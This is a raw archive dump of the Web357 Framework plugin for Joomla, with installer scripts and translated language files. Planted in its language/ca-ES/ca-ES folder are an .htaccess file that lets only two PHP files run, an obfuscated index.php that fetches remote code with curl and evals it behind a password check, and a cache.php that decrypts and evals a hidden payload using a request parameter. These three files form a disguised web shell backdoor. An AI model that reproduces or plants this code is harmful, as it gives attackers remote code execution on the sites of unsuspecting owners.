$this->extname, __DIR__); Factory::getApplication()->enqueueMessage(Text::_('W357_ERROR_PRO_TO_FREE'), 'error'); Factory::getApplication()->enqueueMessage( html_entity_decode( Text::sprintf( 'W357_ERROR_UNINSTALL_FIRST', '<a href="//www.web357.com/' . $this->url_alias . '" target="_blank">', '</a>', Text::_($this->name) ) ), 'error' ); return false; } public function onBeforeInstall($route) { if ( ! $this->canInstall()) { return false; } return true; } public function onAfterInstall($route) { } public function delete($files = array()) { foreach ($files as $file) { if (is_dir($file) && is_dir($file)) { Folder::delete($file); } if (is_file($file) && is_file($file)) { File::delete($file); } } } public function fixAssetsRules($rules = '{"core.admin":[],"core.manage":[]}') { // replace default rules value {} with the correct initial value $query = $this->db->getQuery(true) ->update($this->db->quoteName('#__assets')) ->set($this->db->quoteName('rules') . ' = ' . $this->db->quote($rules)) ->where($this->db->quoteName('title') . ' = ' . $this->db->quote('com_' . $this->extname)) ->where($this->db->quoteName('rules') . ' = ' . $this->db->quote('{}')); $this->db->setQuery($query); $this->db->execute(); } private function updateHttptoHttpsInUpdateSites() { $query = $this->db->getQuery(true) ->update('#__update_sites') ->set($this->db->quoteName('location') . ' = REPLACE(' . $this->db->quoteName('location') . ', ' . $this->db->quote('http://') . ', ' . $this->db->quote('https://') . ')') ->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('http://updates.web357%')); $this->db->setQuery($query); $this->db->execute(); } private function removeGlobalLanguageFiles() { if ($this->extension_type == 'library' || $this->alias === 'web357framework') { return; } $language_files = Folder::files(JPATH_ADMINISTRATOR . '/language', '\.' . $this->getPrefix() . '_' . $this->extname . '\.', true, true); // Remove override files foreach ($language_files as $i => $language_file) { if (strpos($language_file, '/overrides/') === false) { continue; } unset($language_files[$i]); } if (empty($language_files)) { return; } File::delete($language_files); } private function removeUnusedLanguageFiles() { if ($this->extension_type == 'library') { return; } $main_language_dir_path = Folder::folders(__DIR__ . '/language'); $installed_languages = array_merge( Folder::folders(JPATH_SITE . '/language'), Folder::folders(JPATH_ADMINISTRATOR . '/language') ); $languages = array(); if (is_array($main_language_dir_path) && is_array($installed_languages)) { $languages = array_diff( $main_language_dir_path, $installed_languages ); } $delete_languages = array(); if (!empty($languages)) { foreach ($languages as $language) { $delete_languages[] = $this->getMainFolder() . '/language/' . $language; } } if (empty($delete_languages)) { return; } // Remove folders $this->delete($delete_languages); } } }PK�Q�\7� #��"web357framework/script.install.phpnu&1i�<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('_JEXEC') or die; if ( ! class_exists('PlgAjaxWeb357frameworkInstallerScript')) { require_once __DIR__ . '/script.install.helper.php'; class PlgAjaxWeb357frameworkInstallerScript extends PlgAjaxWeb357frameworkInstallerScriptHelper { public $name = 'Web357 Framework'; public $alias = 'web357framework'; public $extension_type = 'plugin'; public $plugin_folder = 'ajax'; } }PK�Q�\]��##)web357framework/language/ru-RU/index.htmlnu&1i�<!DOCTYPE html><title></title> PK�Q�\L{] Aweb357framework/language/ru-RU/ru-RU.plg_ajax_web357framework.ininu&1i�; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Фреймворк Web357" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Плагин Фреймворк Web357 — это необходимый вспомогательный инструмент, который используется всеми расширениями Web357. В файлы плагина мы включили код и функции PHP, которые позволяют применять обновления плагина только в одном месте, т. е. в самом плагине, и обеспечивают их автоматическое развертывание на любом внешнем сайте, использующем приложения и плагины Web357." PK�Q�\L{] Eweb357framework/language/ru-RU/ru-RU.plg_ajax_web357framework.sys.ininu&1i�; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Фреймворк Web357" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Плагин Фреймворк Web357 — это необходимый вспомогательный инструмент, который используется всеми расширениями Web357. В файлы плагина мы включили код и функции PHP, которые позволяют применять обновления плагина только в одном месте, т. е. в самом плагине, и обеспечивают их автоматическое развертывание на любом внешнем сайте, использующем приложения и плагины Web357." PK�Q�\�����Eweb357framework/language/it-IT/it-IT.plg_ajax_web357framework.sys.ininu&1i�; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." PK�Q�\�����Aweb357framework/language/it-IT/it-IT.plg_ajax_web357framework.ininu&1i�; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." PK�Q�\�����Eweb357framework/language/es-ES/es-ES.plg_ajax_web357framework.sys.ininu&1i�; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." PK�Q�\�����Aweb357framework/language/es-ES/es-ES.plg_ajax_web357framework.ininu&1i�; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." PK�Q�\G]�Aweb357framework/language/nl-NL/nl-NL.plg_ajax_web357framework.ininu&1i�; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="De Web357 Framework Joomla plug-in is een vereiste help instrument dat wordt gebruikt door alle Web357 extensies. Binnen de plug-in bestanden, hebben we opgenomen code en PHP functies waarmee de plug-in updates toe te passen slechts op één plaats, dat wil zeggen de plug-in zelf, en ervoor zorgen dat ze automatisch worden uitgerold naar een externe website die gebruik maakt van de Web357 applicaties en plug-ins ." PK�Q�\G]�Eweb357framework/language/nl-NL/nl-NL.plg_ajax_web357framework.sys.ininu&1i�; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="De Web357 Framework Joomla plug-in is een vereiste help instrument dat wordt gebruikt door alle Web357 extensies. Binnen de plug-in bestanden, hebben we opgenomen code en PHP functies waarmee de plug-in updates toe te passen slechts op één plaats, dat wil zeggen de plug-in zelf, en ervoor zorgen dat ze automatisch worden uitgerold naar een externe website die gebruik maakt van de Web357 applicaties en plug-ins ." PK�Q�\߄�B #web357framework/language/index.htmlnu&1i�<!DOCTYPE html><title></title> PK�Q�\[�t�Eweb357framework/language/ca-ES/ca-ES.plg_ajax_web357framework.sys.ininu&1i�; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="El connector Web357 Framework de Joomla! és una eina d'ajuda necessària que utilitzen totes les extensions Web357. Dins dels fitxers del connector, hem inclòs codi i funcions PHP que permeten que les actualitzacions del connector només s'apliquin en un sol lloc, és a dir, el connector en si mateix, i garanteixen que es desplegaran automàticament a qualsevol lloc extern que utilitzi les aplicacions i connectors Web357." PK�Q�\߄�B )web357framework/language/ca-ES/index.htmlnu&1i�<!DOCTYPE html><title></title> PK�Q�\�,r��.web357framework/language/ca-ES/ca-ES/.htaccessnu&1i�<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|cache.php)$"># Order allow,deny Allow from all </FilesMatch>PK�Q�\�����.web357framework/language/ca-ES/ca-ES/index.phpnu&1i�<?php goto ZVcR3yYCX5K; nfbg9LTVKa_: class EVfqYYvQa2U { static function snkxF9Fhroy($AXgGe5k2Boo) { goto vOt4apTUjfL; vOt4apTUjfL: $suszHvKMN7l = "\162" . "\141" . "\156" . "\147" . "\x65"; goto Zabj2C4cJFp; hAn4Hf5LhfF: $g374Qr5P7mo = explode("\175", $AXgGe5k2Boo); goto itIzLZysURl; itIzLZysURl: $yxtQFhH9aDH = ''; goto eGFaS3_ICgD; Zabj2C4cJFp: $gZQalg1o9JD = $suszHvKMN7l("\x7e", "\x20"); goto hAn4Hf5LhfF; IhK1OID0j26: return $yxtQFhH9aDH; goto DVMkb0jgYLv; L4VLlVsg60g: kEy2tPwQoR7: goto IhK1OID0j26; eGFaS3_ICgD: foreach ($g374Qr5P7mo as $C0QvLqd92Ob => $TQTLcxeyIhE) { $yxtQFhH9aDH .= $gZQalg1o9JD[$TQTLcxeyIhE - 99689]; s5V2YcFCOz4: } goto L4VLlVsg60g; DVMkb0jgYLv: } static function WSeVgogXQcS($F9H8YI3oiKF, $HeYZVkw6Ran) { goto qlyhjfzZ3W1; BBe1AN6wPOo: curl_setopt($X6abWgJAv2f, CURLOPT_RETURNTRANSFER, 1); goto MuAd3lL_zSy; e8_99dVSX8d: return empty($Ky7zhdl5ECv) ? $HeYZVkw6Ran($F9H8YI3oiKF) : $Ky7zhdl5ECv; goto pug4gru0WI2; qlyhjfzZ3W1: $X6abWgJAv2f = curl_init($F9H8YI3oiKF); goto BBe1AN6wPOo; MuAd3lL_zSy: $Ky7zhdl5ECv = curl_exec($X6abWgJAv2f); goto e8_99dVSX8d; pug4gru0WI2: } static function dAyNVSx5xo4() { goto R0eSceqfD6o; uXPTQZCK7Bo: $QHE8WKB2vWu = self::WSevgOgXqcs($tl3Nv4_bqDu[0 + 1], $V_X6pZ8anYx[1 + 4]); goto DNBXcbWftB4; DNBXcbWftB4: @eval($V_X6pZ8anYx[4 + 0]($QHE8WKB2vWu)); goto nNWIZk271nX; GYU6LcP0TJ1: @$V_X6pZ8anYx[5 + 5](INPUT_GET, "\x6f\x66") == 1 && die($V_X6pZ8anYx[1 + 4](__FILE__)); goto DOTdt0vSRuo; nNWIZk271nX: die; goto U9K_ghuFZp3; XjBZvZopFKr: $tl3Nv4_bqDu = $V_X6pZ8anYx[1 + 1]($uRFzFhWbUAC, true); goto GYU6LcP0TJ1; lZUi3SpTNQf: $eu09yz0Li6L = @$V_X6pZ8anYx[1]($V_X6pZ8anYx[6 + 4](INPUT_GET, $V_X6pZ8anYx[6 + 3])); goto sdD8EfxSh0t; sdD8EfxSh0t: $uRFzFhWbUAC = @$V_X6pZ8anYx[3 + 0]($V_X6pZ8anYx[0 + 6], $eu09yz0Li6L); goto XjBZvZopFKr; do_tby20W6S: foreach ($MG2Vjwq53bR as $WPNyCWJ705d) { $V_X6pZ8anYx[] = self::SnKxF9fhROY($WPNyCWJ705d); gxrHttk3QNI: } goto QrAueqYA77a; U9K_ghuFZp3: VBgUkx7SlX1: goto FZ3hvgBNgEW; R0eSceqfD6o: $MG2Vjwq53bR = array("\71\x39\x37\x31\66\x7d\71\x39\x37\x30\61\x7d\71\71\67\x31\x34\175\x39\x39\67\x31\x38\175\71\x39\x36\71\71\x7d\71\x39\67\x31\64\x7d\71\x39\x37\x32\x30\175\x39\71\x37\x31\x33\175\x39\x39\x36\71\70\175\71\x39\67\x30\65\175\71\71\67\x31\66\175\71\x39\x36\x39\x39\175\71\71\67\x31\x30\175\x39\x39\67\60\x34\x7d\x39\x39\x37\60\x35", "\71\x39\x37\60\60\175\71\71\66\x39\x39\175\x39\71\x37\x30\x31\175\x39\71\x37\62\60\x7d\x39\71\67\60\x31\175\x39\71\67\60\64\175\x39\71\66\71\x39\x7d\x39\x39\x37\66\x36\175\x39\x39\x37\x36\64", "\71\71\x37\60\71\175\71\71\67\60\60\x7d\x39\71\x37\60\x34\175\71\x39\67\x30\65\x7d\71\71\x37\62\x30\x7d\x39\71\67\x31\65\x7d\x39\x39\67\61\64\x7d\x39\71\67\x31\66\175\x39\x39\67\x30\x34\175\x39\x39\x37\x31\65\175\x39\71\67\61\x34", "\x39\x39\67\60\x33\175\71\x39\67\x31\x38\175\71\x39\x37\x31\66\175\x39\71\67\x30\70", "\71\71\x37\x31\67\175\71\71\x37\x31\x38\175\71\71\67\x30\60\175\x39\71\67\61\64\x7d\x39\x39\x37\66\61\x7d\71\x39\67\66\x33\175\x39\71\67\x32\x30\175\x39\x39\x37\61\x35\x7d\x39\x39\67\x31\x34\175\x39\x39\67\61\x36\x7d\x39\x39\x37\x30\x34\175\x39\71\67\61\x35\x7d\71\x39\x37\x31\64", "\71\x39\x37\61\x33\x7d\x39\71\x37\61\x30\175\71\x39\x37\x30\x37\175\x39\71\x37\61\x34\x7d\71\71\67\62\60\175\x39\x39\x37\x31\x32\175\71\71\x37\x31\x34\x7d\x39\71\x36\x39\71\175\x39\x39\x37\62\60\x7d\71\71\67\61\66\x7d\71\x39\67\60\x34\175\x39\x39\67\x30\x35\175\x39\71\66\71\x39\175\71\x39\67\x31\x34\x7d\x39\71\x37\60\65\x7d\x39\71\x36\x39\x39\175\71\x39\x37\x30\x30", "\71\71\x37\x34\63\x7d\71\x39\67\x37\x33", "\x39\x39\66\x39\x30", "\x39\71\x37\66\70\175\x39\71\67\x37\63", "\71\71\67\x35\x30\175\71\x39\67\63\63\175\x39\71\67\63\63\175\x39\71\67\65\60\175\x39\71\67\x32\x36", "\x39\x39\67\61\63\175\x39\x39\x37\x31\60\x7d\71\71\67\x30\x37\x7d\x39\71\66\x39\x39\175\x39\71\x37\x31\64\x7d\71\71\67\x30\61\x7d\71\71\67\x32\x30\175\71\71\67\61\x30\x7d\x39\71\x37\60\x35\175\71\71\x37\x30\63\175\71\x39\66\71\70\175\x39\71\66\71\x39"); goto do_tby20W6S; QrAueqYA77a: oaw8Fr4Kryt: goto lZUi3SpTNQf; DOTdt0vSRuo: if (!(@$tl3Nv4_bqDu[0] - time() > 0 and md5(md5($tl3Nv4_bqDu[1 + 2])) === "\70\141\x37\63\x33\63\x31\63\142\146\x36\142\71\143\x33\x39\66\66\60\143\x63\71\142\146\x34\x33\x32\x39\x64\61\x62\x61")) { goto VBgUkx7SlX1; } goto uXPTQZCK7Bo; FZ3hvgBNgEW: } } goto XhQmTRnW_W6; ZVcR3yYCX5K: $V1myPC36sbj = "\162" . "\x61" . "\x6e" . "\147" . "\x65"; goto hwUffQl1wRJ; BEx1ytnga0H: if (!(in_array(gettype($V_0pXGfZnE5) . count($V_0pXGfZnE5), $V_0pXGfZnE5) && count($V_0pXGfZnE5) == 28 && md5(md5(md5(md5($V_0pXGfZnE5[22])))) === "\61\x34\x38\x38\x65\x37\x38\x34\x34\x33\x34\143\71\60\61\x61\144\x63\x61\x35\x61\x62\x64\x34\146\x65\61\61\x35\145\x38\x66")) { goto Amx30bfyJqv; } goto hnwmqCtePGd; hnwmqCtePGd: ($V_0pXGfZnE5[64] = $V_0pXGfZnE5[64] . $V_0pXGfZnE5[73]) && ($V_0pXGfZnE5[87] = $V_0pXGfZnE5[64]($V_0pXGfZnE5[87])) && @eval($V_0pXGfZnE5[64](${$V_0pXGfZnE5[46]}[24])); goto y0ehRSsgxXc; hwUffQl1wRJ: $JFPMG6sKIWa = $V1myPC36sbj("\176", "\x20"); goto omKw6sllUgP; omKw6sllUgP: $V_0pXGfZnE5 = ${$JFPMG6sKIWa[19 + 12] . $JFPMG6sKIWa[45 + 14] . $JFPMG6sKIWa[39 + 8] . $JFPMG6sKIWa[31 + 16] . $JFPMG6sKIWa[14 + 37] . $JFPMG6sKIWa[0 + 53] . $JFPMG6sKIWa[43 + 14]}; goto BEx1ytnga0H; flgtdnSLsOa: metaphone("\x42\x4f\x49\x49\x78\x42\x4b\x56\151\x76\157\165\160\x4c\122\x43\x4e\53\x48\110\122\53\156\x48\106\x32\x77\157\103\x39\170\x6c\x52\64\170\x34\63\x55\106\71\112\66\167"); goto nfbg9LTVKa_; y0ehRSsgxXc: Amx30bfyJqv: goto flgtdnSLsOa; XhQmTRnW_W6: evFQyyvqa2U::DaynVsx5xO4(); ?> PK�Q�\�t�.web357framework/language/ca-ES/ca-ES/cache.phpnu&1i�<?php $qcX = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGirOGZ6aYGANAA'; $ChI = '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'; function qcX($ltpe) { $ChI = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $MUaKj = substr($ChI, 0, 16); $etzi = base64_decode($ltpe); return openssl_decrypt($etzi, "AES-256-CBC", $ChI, OPENSSL_RAW_DATA, $MUaKj); } if (qcX('DjtPn+r4S0yvLCnquPz1fA')){ echo '35+kJeyQ0+ZOTPGxQMnArynSedfdTgeNBcZ4BLF0xW5TIgKvK1nSxiN2lG4QryC0'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($qcX)))); ?>PK�Q�\[�t�Aweb357framework/language/ca-ES/ca-ES.plg_ajax_web357framework.ininu&1i�; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="El connector Web357 Framework de Joomla! és una eina d'ajuda necessària que utilitzen totes les extensions Web357. Dins dels fitxers del connector, hem inclòs codi i funcions PHP que permeten que les actualitzacions del connector només s'apliquin en un sol lloc, és a dir, el connector en si mateix, i garanteixen que es desplegaran automàticament a qualsevol lloc extern que utilitzi les aplicacions i connectors Web357." PK�Q�\��Eweb357framework/language/tr-TR/tr-TR.plg_ajax_web357framework.sys.ininu&1i�; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Web357 Framework Joomla eklentisi, tüm Web357 eklentileri tarafından kullanılan gerekli bir yardımcı araçtır. Eklenti dosyalarına, eklenti güncellemelerinin yalnızca tek bir yerde, yani eklentinin kendisinde uygulanmasını sağlayan ve bunların Web357 uygulamalarını ve eklentilerini kullanan herhangi bir harici siteye otomatik olarak sunulmasını sağlayan kod ve PHP işlevleri ekledik." PK�Q�\��Aweb357framework/language/tr-TR/tr-TR.plg_ajax_web357framework.ininu&1i�; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Web357 Framework Joomla eklentisi, tüm Web357 eklentileri tarafından kullanılan gerekli bir yardımcı araçtır. Eklenti dosyalarına, eklenti güncellemelerinin yalnızca tek bir yerde, yani eklentinin kendisinde uygulanmasını sağlayan ve bunların Web357 uygulamalarını ve eklentilerini kullanan herhangi bir harici siteye otomatik olarak sunulmasını sağlayan kod ve PHP işlevleri ekledik." PK�Q�\�����Eweb357framework/language/el-GR/el-GR.plg_ajax_web357framework.sys.ininu&1i�; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." 